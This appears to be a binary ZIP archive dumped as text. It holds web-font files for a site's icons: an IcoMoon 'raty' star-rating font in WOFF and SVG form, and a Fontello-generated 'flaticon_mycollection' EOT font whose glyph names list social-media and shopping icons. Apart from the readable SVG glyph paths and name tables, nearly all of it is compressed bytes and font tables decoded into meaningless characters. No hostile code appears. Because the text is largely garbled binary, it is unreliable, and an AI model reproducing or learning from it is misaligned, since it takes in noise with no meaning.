zI_Sz/Dǵ49ˋp ñAVt,s7\?t%6</ЍW?CO;_e	A ҆@:}\RJGPN5QqMi5l7"[Ԑbפ|a`T/_S3Ln/,#,U=5C{)qJRQ'ZŅ8y%ȮQᆺ>j=2\Qe-lWΐxZagSȸKQ}e ^% iVvr^53ᕌ^XFr!p,,JcMY$Cv=k~Wi?CHȮpC ?Bą<DV+_终񪋙c~k^'>>g69p(wTF_9x`moC5`+j~¼\~:W1/悾x+D]76=s6]/UFyl1hI|A,R|juZ#uM+f7[jYlUi2._u܁]Ԫ}gYT́r7ˡjMSOǝ6:8t~ߴTo%CiSj	}JudoipメY=eR}(FDłxCK*bլa.}(F/C>;Lc*Jb-)kIϾZ2XsVg5թX^EHCEfo!^*El5R%5)(ԔW<p'B}7v5;t}GKJT%TǓېJA^gS
.uPw/d0=^kFEVL8Q7Г8Ep#g#ұfQCOS*i)4wt>)#)}$Oß}ƛdNSf
vyԂF(0i_{$;OkMƥT(P0@/*^eW.ViqX@\ʈ߉+tG'֜& dZe0/d1ú5W.~r'Z̏`!Ph;	h2ҡ˝1*I W*5,Sb73#DǤAWOdq`-J4?OB*˖-J'"I`nƹdX%yE'WɠWu& 텐2@"4V9=ax	<S9]-;?UQ=:u% " p}vW.]lcYy%o鹸 9MeQ.3\ evmܸ߅}tr,t)gCS 6a4}^hwk%^cV؀z'R%cHtA.(#͔:*{]4X̬=V>i$X`?K#<<ǆ	zt☨oV3'F0v@1<':#<|eQʣ\oαĲ>G)N#6`P9meq*XtP4UUjz*I%`	FB1i굠(g+}/&,SߴZAtCʽzv	c]:P	fwUs=DSpgb. [0
G(0%(hz'1ucnean7ǗOQodħsDF°T./PVF	1C|-9 ۦ_>rrd7*~eƹ~>0W/Ȯ`9ExH>[X?A)qX`9oPcvVU R~00u}s7I eU%3yJ+I'#44Hi$e.*G6 2S/N3g|Za.g1_TrA pL*AatY!%[j5&eTwK2]lʐo}I_ᶪc;p7|a9%ou.~#df}_&j\'I9%I~&?fJI8\qsaZbMr|zZLlQ};hSۛKMVMlX5Џ߃R9b_3,K F:eSzb}8"Wt|OI#ul5JwvxU{m"M?T
d,I,&+˻i_?M+3)_\{pfX[8A?}U;oupEDJF8!z-9P%oVqUK&m#<ZC߶->Qo#;ctRih7N}%cU_Jf!`!JB<'e5̘!	Q T^p I`p^D1ߒ0`Qr A*WE0h[ ,'&P-3sf xF++HBjfI89APBv3$oV0"&m`e:  \M&|>qp'pZJ(BsRybLp YW2${F,I"ʌG0)) *6:Y3A{=r2pC35 rυ]B`!9
\`{ņ'a41<hA8j!TT"-uU@ohbM 'TyFd*U{ӻ	P+Cy#pp8 *਴Em^0sAAA)&j&VM'KM5ȜmiVz1%.EOXex}~HsY.{'TVGF u>`Y=7r\x|H'<*6	ufu1aeArx
l+/sZ6V?R~Rw:,OZ~+Gm9&0@ڟR[hZ,,fJpcS;<&C𩏌^:ąho4KxE~+<8+:2hS$&TlXTE1u޺>,*4ʹIxoxIо!L½ʖЉ1VOP]qz#[jGU"|%KD}@/Mu=ߜFWOălD1D+8dJ):yO$d{5)z[9`?'ަ1ڵD{SgU<얪Pgn8L< "<}-R aHb(ylaq`" <E`ooR'Ns]^D6ov0eyp#G8cr69mT:S5?FYaytƈph/ʣIyMYE9n/L޸.}]Tu'`%HcMN3AoȜ=y1x!_'!~(^ea}yQ.}G|$KqH']W9#쭆F}=g%(ɢ־yݚo-׷TU$dy2LC=*	#Ç0j!À'b|\O xR^rrw<I_RR,sGP~3>>
Wt/RmC"l̼88vs{LYj fq@L (˄S-Ya,oKha}Py,d[vQٳDwDue2^09lF"B:@n]xfM'RȋRAؕZu8X
޸:Ykj4IcQnEb6C@|L4-Dd^("`	 ٌT6]n®5%?{g`kBΒLMd)j#Ȓ0Zصa}#l{V|~˽#\գ,Vkڛbf%IRz:`poۡ	Pqb3[g}v6Ж4;	Okjz`ϪH<=*0sWH4g:c4{n%ȍR
STV&x5#_;:u%Vixvt;Z*yKa	QmQ%U0GW*6LiWTpbe=R}nZxO^y׬
/sJU-s߂SU*Z8]];ImV2\:]fep]-&U]KQCPE5i@Ⱥm3VBmʔ 4;`4;#N(՝Mn4߉p!Q  0i;a'ieU7m4/u?~Mҙl._(ʕjhoNGtVhJ!V7YDbN=ꦦG8He\j0P([	@dūKѭ:n̞OH@Q%6QneF.֜RE
y-hAsFSI̒ժ ?e:M;9
LLfd.rm	_ƷK+ǡ֫ֆeNݢ0ESk6$'r.H2Ma;l6<VcC(?7uFH1^^ᕥA<:qUk%klTFSp,J aD,;eb?̣솙M]r)<a+b"N`a]['hƵI[8N~-k~סu7DGND.{ 4Ÿ0A788W/sftH8W8q/ExR$SQQ[ 4вj>sC'@e5J2Ȭ{^b\%b;g
35<eiҸ;+	{VN13I%ԙstQis,bD_m::3L@~RE)YᅥSTg^kz9*6Ria-<.))qVnfFbkkTn,Ar",&Ǉ^45{GP+c:}0E2+D|Rz&jmC
kљ%7XQJH:Dʃ
-#RF$SŞJPK+ }
n-\HPK     N\~      fonts/raty.woffnu [        wOFFOTTO   
                           CFF        HOS/2  x   `   `#cmap     \   \	Kgasp  4         head  <   6   6 Jmqhhea  t   $   $hmtx     $   $
 amaxp         	P name      Μpost               raty   :
 S
 Skt         	  x 
	$)ratyratyu0u1u20uE600uE601uF005uF006uF123    	    
  .J....vOOOvvNOOvOO....3CC33CӋC3mz{]]]{]]{]]]go#&#G####vgQUUy7v Rs#&#G####vg^^[z##&#G####v
        Lf   GLf                                    @  #                                   H         #       #                          q_<      ϨQ    ϨQ                                        	                 0  0       P  	                       2                @                &      
 ( H  	      	   2  	     	   @  	     	   *  	 
 ( H r a t y V e r s i o n   1 . 0 r a t yraty r a t y R e g u l a r r a t y G e n e r a t e d   b y   I c o M o o n                                 PK     N\Qyf      fonts/raty.svgnu [        <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="raty" horiz-adv-x="512">
<font-face units-per-em="512" ascent="480" descent="-32" />
<missing-glyph horiz-adv-x="512" />
<glyph unicode="&#x20;" d="" horiz-adv-x="256" />
<glyph unicode="&#xe600;" d="M256 16c-114.88 0-208 93.12-208 208s93.12 208 208 208 208-93.12 208-208-93.12-208-208-208zM351.376 284.656c3.904 3.904 3.904 10.256 0 14.16l-21.248 21.232c-3.904 3.904-10.256 3.904-14.16 0l-60.176-60.176-60.176 60.176c-3.904 3.904-10.256 3.904-14.16 0l-21.248-21.232c-3.904-3.904-3.904-10.256 0-14.16l60.192-60.192-60.192-60.16c-3.904-3.904-3.904-10.256 0-14.16l21.248-21.248c3.904-3.904 10.256-3.904 14.16 0l60.176 60.192 60.176-60.192c3.904-3.904 10.256-3.904 14.16 0l21.248 21.248c3.904 3.904 3.904 10.256 0 14.16l-60.192 60.16 60.192 60.192z" />
<glyph unicode="&#xe601;" d="M256 16c-114.88 0-208 93.12-208 208s93.12 208 208 208 208-93.12 208-208-93.12-208-208-208zM256 384c-88.352 0-160-71.648-160-160s71.648-160 160-160c88.368 0 160 71.648 160 160s-71.632 160-160 160zM328.592 167.44l-16.224-16.224c-2.976-2.976-7.808-2.976-10.8 0l-45.92 45.92-45.92-45.92c-2.992-2.976-7.808-2.976-10.8 0l-16.224 16.224c-2.976 2.976-2.976 7.808 0 10.8l45.936 45.904-45.936 45.92c-2.976 2.992-2.976 7.824 0 10.816l16.224 16.208c2.992 2.992 7.808 2.992 10.8 0l45.92-45.92 45.92 45.92c2.992 2.992 7.824 2.992 10.8 0l16.224-16.208c2.976-2.992 2.976-7.824 0-10.816l-45.936-45.92 45.936-45.904c2.976-2.992 2.976-7.84 0-10.8z" />
<glyph unicode="&#xf005;" d="M475.428 290.572q0-6.286-7.428-13.714l-103.714-101.143 24.572-142.857q0.286-2 0.286-5.714 0-6-3-10.143t-8.714-4.143q-5.428 0-11.428 3.428l-128.286 67.428-128.286-67.428q-6.285-3.428-11.428-3.428-6 0-9 4.143t-3 10.143q0 1.714 0.572 5.714l24.572 142.857-104 101.143q-7.143 7.714-7.143 13.714 0 10.572 16 13.143l143.428 20.857 64.286 130q5.428 11.714 14 11.714t14-11.714l64.286-130 143.429-20.857q16-2.572 16-13.143z" horiz-adv-x="476" />
<glyph unicode="&#xf006;" d="M324.857 188.572l87.428 84.857-120.572 17.715-54 109.143-54-109.143-120.572-17.714 87.428-84.857-20.857-120.286 108 56.857 107.714-56.857zM475.428 290.572q0-6.286-7.428-13.714l-103.714-101.143 24.572-142.857q0.286-2 0.286-5.714 0-14.286-11.714-14.286-5.428 0-11.428 3.428l-128.286 67.428-128.286-67.428q-6.285-3.428-11.428-3.428-6 0-9 4.143t-3 10.143q0 1.714 0.572 5.714l24.572 142.857-104 101.143q-7.143 7.714-7.143 13.714 0 10.572 16 13.143l143.428 20.857 64.286 130q5.428 11.714 14 11.714t14-11.714l64.286-130 143.429-20.857q16-2.572 16-13.143z" horiz-adv-x="476" />
<glyph unicode="&#xf123;" d="M338.857 202l73.428 71.428-120.572 17.714-8.572 17.143-45.428 92v-275.143l16.857-8.857 90.857-48-17.143 101.428-3.428 18.857zM468 276.857l-103.714-101.143 24.572-142.857q1.428-9.428-1.714-14.714t-9.714-5.286q-4.857 0-11.428 3.428l-128.286 67.428-128.286-67.428q-6.572-3.428-11.428-3.428-6.572 0-9.715 5.286t-1.715 14.714l24.572 142.857-104 101.143q-9.143 9.143-6.572 17t15.428 9.857l143.429 20.857 64.286 130q5.714 11.714 14 11.714 8 0 14-11.714l64.286-130 143.429-20.857q12.857-2 15.428-9.857t-6.857-17z" horiz-adv-x="476" />
</font></defs></svg>PK     N\4@  @    fonts/penciicon.eotnu [        @  d                    LP                       a|                  * f l a t i c o n _ m y c o l l e c t i o n    R e g u l a r    V e r s i o n   1 . 0   * f l a t i c o n _ m y c o l l e c t i o n            0GSUB %z  8   TOS/2=K     `cmap5     glyfG    jtheadXU      6hhea]      $hmtx    loca,     maxp       name@Q  w@  postp  y  n   ,    ,6                z      |a_< ,    |%    |%61              z          
 
             
 0 > DFLT latn                      liga                     *        *       M                         PfEd y,   G                     ,,  ,  ,  ,  ,  ,  ,  ,,  ,  ,  +  ,  ,  ,  ,  ,,  ,  ,  ,  ,,  ,  ,  ,  ,  ,  ,,  ,  ,,  ,  ,  ,  ,  ,  +  ,  ,,  ,  +,,  ,  ,  ,,  ,  ,,  ,  ,  ,  ,,,  ,  ,  ,,  ,  ,  ,,,,  ,,  ,,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,,  ,  ,  ,  ,  ,  ,+,  ,,  ,,  ,,  ,  ,  ,  ,,  ,  ,  ,,  ,  ,  ,  ,  ,  ,           ,     D     >     ,  
  D        y                 	 
                        ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y                                                                                                                                                                                                                                                                                y                                                          	  	   	  
  
   
                                                                                                                                                               !  !   !  "  "   "  #  #   #  $  $   $  %  %   %  &  &   &  '  '   '  (  (   (  )  )   )  *  *   *  +  +   +  ,  ,   ,  -  -   -  .  .   .  /  /   /  0  0   0  1  1   1  2  2   2  3  3   3  4  4   4  5  5   5  6  6   6  7  7   7  8  8   8  9  9   9  :  :   :  ;  ;   ;  <  <   <  =  =   =  >  >   >  ?  ?   ?  @  @   @  A  A   A  B  B   B  C  C   C  D  D   D  E  E   E  F  F   F  G  G   G  H  H   H  I  I   I  J  J   J  K  K   K  L  L   L  M  M   M  N  N   N  O  O   O  P  P   P  Q  Q   Q  R  R   R  S  S   S  T  T   T  U  U   U  V  V   V  W  W   W  X  X   X  Y  Y   Y  Z  Z   Z  [  [   [  \  \   \  ]  ]   ]  ^  ^   ^  _  _   _  `  `   `  a  a   a  b  b   b  c  c   c  d  d   d  e  e   e  f  f   f  g  g   g  h  h   h  i  i   i  j  j   j  k  k   k  l  l   l  m  m   m  n  n   n  o  o   o  p  p   p  q  q   q  r  r   r  s  s   s  t  t   t  u  u   u  v  v   v  w  w   w  x  x   x  y  y   y     d  jVf.f
2h		n			


X
l



2bfpH:b>jhDL "!!"|"#
##$$.%4%&>&'(t())D)**+,++,l,-<..@../B//0011P12X23X3|334 4n5:     .   A  7&#"67676?6&'#"12676&'&&'&#"67676?6&'#"12676&`&&%&&%.<$.<$       ,-    "732>4.'77)E(3)E((E&KR'J,%@& 95&?L@%))W))      - + =  7;2767>'1&'47>32753'&'&7"67676'.@	 -5	."A#S	$#@	/64 &$%$
!&   (0 " H U a    %6'&'1.6?76?676&=&'&'&=6767676'"3251.256&'"3&#1&'&'&/56?>'&/&#16716'&'2'&'"!V*.)#K	'+				$
,~7&#<	"

2/#	'"%,I4				
	
D        ,   U ` k  73'.+"7#167673176'&'&'720#'676711'&/"'&'14767264&#1"#264&#1"-	("_

<		
	
h				3				##
=







       , 4  %"'.'&5#'".546325&#"32767>=3501% 2%"m

1        ,,  ( 9 W [ u  7#";26=4&3"'&"26=26=4&#54&";264&7264&+";264&+53264&+5'!&?4&#.4>2|1Hl,(<,2;1--*+*%++

x,

$&-('        -,  #  %'>54."3267264%4>2".)J":E:"":")I	/8//8/I)":"":E:"J	//8//     /%  0  ."'.?>&1'.>2?>#*+u	v nn		 
			-.||.-]tt#"		"#     -# ( H \  72?64/&"#"&/.+";2;7'&"#"2?>;2?6476.+";26++\!]=+			+	!*)	
	~		*		

	*	
        ,  " 6  %'.+54."#";265'462#7326=326=3& &HB	H	̶        ,     ) 2  7#'37#'#32654'3264&'3#"&4623"&462y"?11
K~		K0c]      ,,     %'#"7>3'54>;55#",6*G'%/"__*LZ*6? Z-/%>ih>!      ,, . 7 @ I J  7"'654'73264&"."32672>4.72"&46"&462"&462#
:`)_<!&  '"	
)
)( 
	#

  & j&&      ,-  O   %4."?6?1>%4>2/&=767>=4'54'&'&".+'&/7>='&'&/&=4?5476762,(ERE(%@L@%.	B/	



	

,8	/)E((E) :: &@%%@&6
	6S	
     ,,   ''77',xxxxxxxxxxxxxx     ,	   7'7'_G_TG_ --  + C Y  ?26=/";254&"264&+764&"0174&"'&"#";3264&+26=264'OF NYOF NON @ @ON @O6N @OxF NOF N      -  4   7013>76'&'&'&+"'051676312#1"'&'&54015&'&'1&'."'&'&=676767671>.127671676 

	
#M#

)^)#		#^		
	









		     ',  "  %'>54."327264'2".4>"G 8B7!!7!'H
))1))J(!7!!7B8 K	)0**0)       ,,     777'77'77'77'77'7'7R)9,Rڈ)92     -- !  %&".54676.32>76&%$,)*+70()%'/8*+    	-,   & 3 @ M Z g t  7"2>4.'"&=462"26=4&7&4?62"&"2?64746;2+"&'4&+";2662"/&4'64/&"2##(##								?								#(##(#								I								?        -    * . 7 @  7"264&"&4627&+'.+";;26?6#'3"264&"&4626
%%0Ǭ				X5				+
nfX~5				       *(  ( 1 : C  7#"&/&6;2+37>;2+"&462'"264&"&462'"264&uu<,$<y"				[#



hza
e"":
		:"":



       ,   7S,         ,   '7'        ,    %'7醆        ,    777   -+  '  7&47675#7.764'.''3'6

+V">&!5>&!5

+Ve2+V],%0)<%0) 2+V         ,   7#'7;<RR`<<RR     ,    %!7'7'!,<RR<<RR<     -+  ,  7&476735#37.764'.'5#35#6

&P>&!5>&!5

&Pe2)5P:B%0)<%0) 2)5P      ,    7'7w,        ,    7'7'7''>9     ,    '7'7'7'        ,    77'77'9     3'   7#7".47'2>76&V+
$020$
*7<7*
W+P&$$03;8**,]        , ! % ) . : E I R a j v  726735'#5#6514&"&"1#326?#53'#53#'5721+5461462#"&#5"&4627."#53753"&4627."#533%B/
	.%I11B&	7	0)	0  1>	<#		KP0

		R7EE/						

		w--w

		wI.       - , L M N  7#"&=#"&=46;546;2+"32+'3546;5#"&=46;5#"+32710	*#$	##3*''! !!_m.$+	+		.mq(%!(        , 2 e f  %+7.&/''767676'476'&'6?'.'6?'&'&''.73'&76767673,/;(!+&+

$	(H*!!!
(
#
 		/
			
 #D$			
			    ,,  ) 9 F J S \  #";2>=4."&=32>54'3#2#."#5463".4>273#264&""&462.+2+.8(.(8"*""*",,Y,u++u''##)##VZ,        . b   %.'&31276?6/&547676#".?676'&'.271676?767>7654./4754?6'.76762367676'.'.&'.'.>76767276
		#

	
		
	
)
!		

		
	
K
')$

0I	
#
$	


  	    -)     . / 8 A B  7#5335##54&"#5362354.#"5#35462'"&462'"264&#NNNA44NOO+#A455 ʽoo$qqbb!!B   	  ,-    # 4 5 > G H  7"264&"&462#7.#"32>4&#".4>32'"264&"&462#b%6)E((E)6+"1$=$$=$1%)$$$H)EQE(+7<6$=H<$%150$$H      -    $ ) 8 > k        7#";2764'&#5327&";26'&62'3264'&+"73#7&#"/654'&+";267;27654'656'&#";27673+"'&'4&+"+532265>7632+"&'7#";26=4&#53"26=4&'"26=4&e.+	
%(.(*	.	'("ZZ!%T
!YY*3GGEE%%8
	
"
/
z        ,  2 3  1+3;5#"&=35#5#;#".=#5671>=33j	#,>>GG5F,,%#
#F,G>,X>GFX#P4$P$F       ,
   & >  7&?64'57&"27>764'."'.'&47>762|

JE.J,n,,n,
*l**l*X,
#6m!>!!>! :  :     ,	        #";26=4&'572?7'7wyTHUTTTxxTaUUTT     /	 D   %'&'676=4&+"54&+"3&'.=4&+";26=;26'+"5'&/&"+".=4;26=4&/&546;7>=4;2+
#B

		#; 
	&
&4'#
9#	
= A[-%E+#<2?"3
jC
"    "/ : q  7.+"7676767>=4&.67676'.&'&6&'.47>'6'4'.7#"'.'&'376U/!-

.7q)"	"
'	8fH
	!"	) &4$/@-: 
3	=,16F3$!       -    & 3 E Y  7"26=4&"26=4&"26=4&"26=4&7.#";2>54&#576732r'''	4!Y!P%+aa"??*(#g$    .% F   77162767167667>&'&'.'67>.6'.'&'&&76&'.636745&767>72?21'1&&'.#"'.'&'676(
	
	
	
.
	!	6	$		
4
	
I	

     ,,   - : G  7&763264'664'.'62>'."2>4."2".4>=Z1'(V!	$],D?	DIa)E((ERE((E)$<##<H<##<[(
	2	



	3
	(ERE((ERE(#<H<##<H<#        ,,  > ~   "2>4."'546?'&'.676&47;623?6754'>&'6.#1"#&"1&'&#".27.54>2)D)(ERE()D

	
			 			

		
'1#=H=#1',)EQE((EQE))	 

 	$$	#'

("	D*$=$$=$*D         ) 8 B L  7;26=4&#54&326&+"726&/&73126&/&7>/&'&>	

	:zz3/w.*l!_	`
HHjaaWW@
		
:				
@
7
.J
J'^	^	      , 	    ! %  337375#5#53573573#'3#73#<,C),f/3=<L9,2//f/""ٲ%#EEE    -  # . C M V _  7>?>74.&&'&7.'772.>#"&'237>.'6'/7264&"72"&46 "*L()-,/+#/""V

S 
G%
R-*%B	5+*{" 1 	:$$E    6 = z  &'&#&76.'&'&2762;6767676'&'&'&'&'&'&'&/"'6767367676756'4'&6762#	


	$&	!$!	

		
	
$	9$,9',50*&	 H)?	
       , & / A Q Z  76?6&+";26/76.#'73&"264'&+";2?6#76.#76/3&"264$=aA>@"$=0>]0 g%: /:4?,-!"Atq<>kn9<:TWQ#(N47       ,-  ! " E i j  17&54>2#"'732>4."?#".=4?622?62'";2?64/&""/&4?64/&#(EPE((E(#!%=%%=J=%Ej 8 n1	

		U#(E((EPE(%=J=%%=%!E" 8 1			

	      - 	   37?''7''7 S"G4C]
|	~<tS"4EEIJf   ."    * + ; < E N O X a b k t u      7".4>2'"2>4.#.>.!'>.'>"&462'"264&#"&462'"264&#7"&462'"264&##54>'&"&'7267#'B&&BNA''A'#<##<F;##;#				m)X	
  !

 

!
/8//8/)0))0)B


		)))Y)D"		"		    ,   & :  "2>4."&462'&"6?2>7&"&'&"26764##(##!!.!!2A
A::::040,#(##(#!.!!.!^^SS    - J \ u   72>4.#"53264&+"67>2"'5462#"'&32>4."&'.'76264'&'&&"#".'4&32676&'2?264/764&"'&"..&'-&&-#	 	5(!'0y.3!%:"5|				".6.Pr&-&G# : )!'/!69				      -   5 d e  7'77".=4&"".=326=4>226=3'22>=#"&=4.""&=#2>=463
	'!!'!A!&!A!b ' ' 

f!hh!!AAh!!hAA!h44hh44h    , ( B ] f o x   %4&'&'.#"2?;27276/>'&76&'.54>32&'&##"&'1&54>;'"264&264&""264&3"264&,.(  #$* 2&	)$ @$2v""($ 		# %
	3    3  9 F O a s  7>76&'&'6&"6.767626716'&'&76>.76.676312656&"'76676..(%G/	
!0
	'?!&(d ! $y'4*(92z
	#""`	YQ;*8   -*   
      ! " 1 A B  7#53373#5#53#3'3#5'#5537.4>2";>4.#b'o   ''N''7
'C&(ERE(&F.%?%&@&)<!%?%A4''A'AAAD'$D'$D$$:F<##<HA1 6?6 -9@6         %1       2 N O r    7#4&#523#4&#523#4&#525'.'&47>76'"7367>764'.'&##".=4?622?62'";2?64/&""/&4?64/&# ' &.##MM#"##	&&:##&&3d,		! '.&-%;$

$=%=" =3
,				    -    # W   7"264&"&4627"264&"&462&'&'&'&'&#1"+'&#";2?27;27676'67>."&'&&'&'6767677622326&'&'7lNg
  
X"282"
#\#
4



44



):!!://       --  # : E N W  %.'";26'.'5.'&;26'.'&'5'"264&"&462,,Ka4'H8!56#9I(/VC(X.H+"57(#;'$4aK,5!8H'(I9#$(CV/+H.5$!#';#3$$H  //    I    7'7'7'"&/.6?'#".6?'&>7'&>7676&/'>/7>/7>&'7>.#"'.'.?32?FP//		



.	
	


.	#F&&+	+F&&+	+fFG%..
	
/
	


.	
	
=&&**G
%&*	+F
    -,   $ - 9 E Q [ h t        726=4&"'462"&53264&"7462+3264&+"732+"&467326=4&"72#"&46"26=4&"&=462'#"26=4&"&46;7#";264&#"&46;2#"264&"&=32ILLLLQ
ILLLLQLLlL  ,%,LLlL  ,%,     -     , - 1 2 ; D E R _ ` d e k l r s y z    7"&462'"264&#".4>2'"2>4.##35"&462'"264&#".4>2'"2>4.##35'777'7'7#''#4."#4>2 ##+$$# $$+###A|F]]F%?J?%(ERE(b!!Bi$+$$+$##;.!!Bi$+$$+$##;f%%)>>):--33     , 5 e  3"'&'.767>32'&#"7>=3;#"'&''"32367>=5&'&/#'".546;5r!&
?		&!B	
	?
V#y	        --   #  "2>4.#'#"&463253"264&)E((ERE((E$$*B,(ERE((ERE(	%8%	1M      ,  # 3 =  3#"&=46;2";2>4.##"&=46;2'32>4.+o%%7++7C

%0&&0,,%%*7<7*

%060%-4-$,$        #,  4 D T d t  %#"&=4.+";2>=4&+".=4>;2;#";26=4&+"&=46;2'#";26=4&+"&=46;2#%G$$|$|G=|

|
||=G

GGG%%%%kt6,,   #,  + ;  %#"&=4.+";2>=4&'+"&=46;246;2+"&5#%G%%|%vGGX||%%%%k	|     ,,    3+3#,        ,     ;735#75##37#53733##55C!^88C!^88CCV!'CCV!'>Fh@>Fh#=)#=)        ,    # ' 7 ; U c s w        7#";26=4&#53#";26=4&#53326=4&+"73#7#";#";26=4&#5326=4&+53#";26=4&#537#"#";26=4&#5326=3#";#";26=4&#5326=4&+53326=4&+"73#t!>""><""<!><!?""?;!!;!TT^RH((2&HTy
R
((2&M TR Ty
RH((2&       ,,    ' 2 : G H  32>4."'>7#"7&'6'6767&&7&'632''>67.=(E((EQE))E%	5&+g.-&B02=
!."B!&/$G &(EQE))EQE(*04763	!6
)R	.%$-	0_
"1      -     	   % & 9 : C L M [ \ ` a  ?/7/3#5"&462#53."67#3"&46;#"2?+"&462'"264&##54.'>'3#5883 &	


	B		b

&&Vbb\77+rrr	
	??/	
/,     -  H N W ` k p z  %&+"'&+"&#"."54&+"&"27;27327327;26=;2?62#>"&'3""&46274632#"64'3"54>3+
	((	

-		$:



6	))		 &

X	 "      - S _ ` m n  %4'&/5.'&"+"327>2"&6;26=4&#"1327654'&"&>21';26=4&1C	,(	
"	

	#
&
""+


/$?"2M
""    -       1761676/6./767"67654'&'&'&'&#1";2'.54>3>4'&'&'1.'4&1'&'&74&4'#".71676766'4.6e=

I
	-	#	
	
	
	
	
	
=

>&	
)%)2+	

#	
 		"	
g
	         * . > B  7#"&46;5#"&=46;27#"&=46;2'35##"&=46;2'35#k,"2E|oo3<<7**NN;==*   , 4  %/32=4/.62546;276327632";B>b&)m6
(	
& ,,     #3533#57'57'5#'#7{`2% 5 _y{{{,2&!:!)      ,-  9  "2>4.01&#"'&'&54?>76321&'&'&'&'&)E((ERE((E[	&5 ,(ERE((ERE(?'
	'		!      ,, : G T  %''&'&'&'&'&'&#'&'17676'32?'"2>4.".4>2 	

			 		)E((ERE((E)$<##<H<##<y	+-(ERE((ERE(#<H<##<H<#        -  K  7&/.462?>'&#"+"&/.#"32676/&"#"&463231264'&
			-**&	  	%
.
C,4,!0!I"1    
    ,, % - 5 = F O X a j s  7".#"&'&";;;26=4.#5462#5462#5462'"264&"&462'"264&"&462'"264&"&462
%>O{ 5XF{i+4+x

V

F-s!X=aXj,,XF4



##     "-  ' 0 9  %4&'&"#.#"&'&#"333264&"264&"264&"!(

FEr%%QF|

	M#: %       .,   6 7  7.+33732676.#732+71+#7;>?4714'5
+m)D]/ 1	,!X "A#D+,
(
1J)#Kd#	 ..  : g  %6'.'&&7;>76'&+.76'&>76'&'&54622654&"1"&54&"264'&' 	
5$!!)	
5$!!)&, =., =. "."	 "."
y!!$5
	)!!$5
	)?.= ,.= ,l

$
%	  
  ,-   ' ) - = A Q U V  !"1'"&=46;2'5#"#'.=46;2'1'5#7#"&=46?6'35#"&=46?6'35 (ggb[[aggf[[fy$lgUcUTbUXeykY      ,  0 6 ;  72;732>574/&'#531#7#'331#"#'#'!		-()86!u	3"
))6F.N      -  2 g l q      701#"&=46;7/.=46;26;21#32'35'#"&5&74?63?#031"/&6;5#2+0177'&'&="#'"&=47563'7'01"#'"&?463'7'd3ZX2	e`5U	Q71
	40 !H;	,	0,
@\]zvr      -   &'.32676&?>Fc*L    - $ I  %.#";2.327>764%"312.327>76&'.&%	
	%
			$		%-#.x#.-       , *  754&+"#";;2?326=4&+'77W057W052-Kc55Ff   - C  %'&"#";26=54&+54&"32>=3264&+"'7;2?64)K	KU11v	KKKU11v	KK 	11 K	K 	11 K	     ,,  /  7264/3264&+764&"&"#";2?64'F!!A!!A!!A(!!A     ,    7'7'35#77'#3Q<<<<<<B<<     ,,   ) 5 ?  7"264&3"264&7#."#'.+3;5#'3'77''7#'32673d
gMF#-"2
	ȿËc."-#(2
eX    
    ,   9 = C I O Y x   7#";26=4&+"&=46;274/&+";26=>'3!"&'#"&'#3"&#546;2#54&+"#53267267267;'"&'3))	))Q--#G8k+y
8		3MNNT=




OOOOv
		

		

		


      -  =  %'&"?26&"#54&"#54&";2675462;26=4&)(> >NNhhdd|DD|M		M    ,,  *  %&'>4."34>234&'".4>2 !'0'!#:D:#"j%.((.%7":##:"7A""     $
  & * / 8 A J  %'"#";26=26?4&'&"'&"57#3'77'54&+7264&"72"&462.*;.3])#2\
 &u! 3'h},P#%\'

      %  * . 8 M e  %.#"#3267265'6327>&'77&'&'2"1.676767"7#"'>&'&#4767632.	!*"8,# $
&&0
((5$(%] 7! #%(/	#+)!$  	,-   # ' 3 ? K W c  !"3!2654&!!#";26=4&#537#";264&#";264&#";264&#";264&#";264&!ccMMf222222, PPQ;+		+		+		+		        -,     ! % & * + / 0 4 5 9 : > ? C D H L M  #;26=#"&=37"&=3'35#3#53#5;#53#5;#53#53#535#3#55
0
#YYjGGjYYjGGjYYYYjGG$$,|
	{j

j5G##G###5       ,,    7"&=#+323546;5#6vv6vvvv6vv6      ,    5!!,ԸD         3#'#7'33'#)ZjSAK)afU;6gUUoN    - F R  31"'&'1676312&'>76&''.676&'&'1"'>312#17"#6767&C##C4"S66"#
	",	,'CC',,K! t !	/#          
 /  &1'&'&'&7>7>'&'67676'&

!!"     ,-    %'&"#54&"#54&"#54&"#54&"#54&"#54&"#54&"#53264&+53264&+53264&+53264&+53264&+53264&+53264&+5264/&3!26';26/&;264&+5#")';C !sC>d+<D1vuee                                     1        F        Q      
 + f          	  *   	     	  *   	  *  	  0  	  *F  	 
 Vp  	  &flaticon_mycollectionRegularflaticon_mycollectionflaticon_mycollectionVersion 1.0flaticon_mycollectionGenerated by svg2ttf from Fontello project.http://fontello.com f l a t i c o n _ m y c o l l e c t i o n R e g u l a r f l a t i c o n _ m y c o l l e c t i o n f l a t i c o n _ m y c o l l e c t i o n V e r s i o n   1 . 0 f l a t i c o n _ m y c o l l e c t i o n G e n e r a t e d   b y   s v g 2 t t f   f r o m   F o n t e l l o   p r o j e c t . h t t p : / / f o n t e l l o . c o m                                 z	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{ 001-left-quote002-messenger003-goodreads	004-viber005-discord006-tik-tok007-line008-magnifiying-glass	009-heart010-shuffle011-shopping-bag012-shopping-cart	013-share014-sharing015-user016-close-button017-check-symbol
018-expand
019-avatar
020-search	021-ruler022-moon023-sun024-shopping-cart-1025-shopping-cart-2026-right-chevron027-left-chevron028-down-chevron029-up-chevron030-exchange031-down-arrow032-left-arrow033-exchange-1034-right-chevron-1035-down-chevron-1036-left-chevron-1037-up-chevron-1038-undo039-free-delivery040-facebook041-twitter042-instagram043-pinterest044-linkedin
045-flickr046-behance
047-tumblr048-youtube	049-email050-vk051-vine052-soundcloud053-snapchat054-spotify
055-github056-stack-overflow
057-twitch	058-steam	059-vimeo060-xing061-whatsapp062-telegram
063-reddit064-odnoklassniki065-500px-monogram066-stumbleupon
067-wechat068-sina-weibo
